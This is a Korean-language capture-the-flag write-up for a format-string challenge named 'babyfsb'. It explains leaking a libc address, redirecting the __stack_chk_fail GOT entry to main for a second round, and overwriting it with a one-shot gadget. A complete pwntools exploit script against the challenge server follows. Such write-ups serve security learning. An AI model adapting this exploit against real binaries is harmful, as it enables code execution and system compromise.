printf(buf) 부분에서 fsb 가 발생한다. buf 값의 입력가능 범위는 SFP 전까지이다.
리턴주소 ( __libc_start_main + 2XX ) 을 leak 하면서,
카나리 부분을 덮은 뒤, ___stack_chk_fail@got 을 main 함수로 덮는다.
2라운드 에서는, leak 한 주소를 바탕으로 ___stack_chk_fail@got 을 원샷 함수로 덮거나,
printf@got 을 system 으로 덮은 다음, 카나리 부분을 덮은 뒤, buf 에 "/bin/sh" 를 입력해서
printf(buf) -> system("/bin/sh") 실행
일단 rsp + 6번째가 buf 의 값을 나타낸다.
프로그램을 실행하고, __stack_chk_fail@got 을 보면, 아직 호출된 적이 없기때문에 0x400 ~ 으로 되어있어서
하위 2byte 만 덮으면 된다. (main 함수 주소는 0x4006a6)
여기서 leak 도 같이 진행해주자. main 의 리턴주소인 __libc_start_main+??? 은
15번째에 있다. %15$p 로 출력하면 0x 포함 14byte가 출력되니,
덮을때 14 를 빼줘야한다.
B 문자를 넣어 0x40byte 를 맞추면, canary 를 덮을 수 있고,
__stack_chk_fail 함수가 호출되는데, 이때 got 주소는 main 함수로 되어있어 2 round 로 넘어가게된다.
leak 한 주소로 oneshot 가젯을 구한 뒤,
다시 __stack_chk_fail 에 2바이트씩 넣고, 0x40byte 를 채운 뒤, 보내주면 된다.
ex.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
from pwn import *
# r=process("./babyfsb")
r=remote("ctf.j0n9hyun.xyz", 3032)
context.log_level='debug'
b=ELF("./babyfsb")
# lib=b.libc
lib=ELF("./libc.so.6")
main_2=b.sym['main']&0xffff
#index=6
pay=f"%15$p%{main_2-14}c%8$hn".encode()
pay+=b'A'*(16-len(pay))
pay+=p64(b.got['__stack_chk_fail'])
pay+=b'B'*(0x40-len(pay))
pause()
r.sendafter("hello\n",pay)
oneshot=[0xf1147,0xf02a4,0x4526a,0x45216]
base=int(r.recv(14),16)-lib.sym['__libc_start_main']-240
log.info(hex(base))
one_gadget = base+oneshot[3]
log.info(hex(one_gadget))
one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16) & 0xffff
one_gadget_high = (one_gadget >> 32) &0xffff
low = one_gadget_low
if one_gadget_middle > one_gadget_low:
middle = one_gadget_middle - one_gadget_low
else:
middle = 0x10000 + one_gadget_middle - one_gadget_low
if one_gadget_high > one_gadget_middle:
high = one_gadget_high - one_gadget_middle
else:
high = 0x10000 + one_gadget_high - one_gadget_middle
payload2 = b''
payload2 += f"%{low}c".encode()
payload2 += b"%11$hn"
payload2 += f"%{middle}c".encode()
payload2 += b"%12$hn"
payload2 += f"%{high}c".encode()
payload2 += b"%13$hn"
payload2 += b'A'*(40-len(payload2))
payload2 += p64(b.got['__stack_chk_fail'])
payload2 += p64(b.got['__stack_chk_fail']+2)
payload2 += p64(b.got['__stack_chk_fail']+4)
payload2 +=b'B'*(0x40-len(payload2))
r.sendline(payload2)
r.interactive()
# 0x7f7aa444d830
|
cs |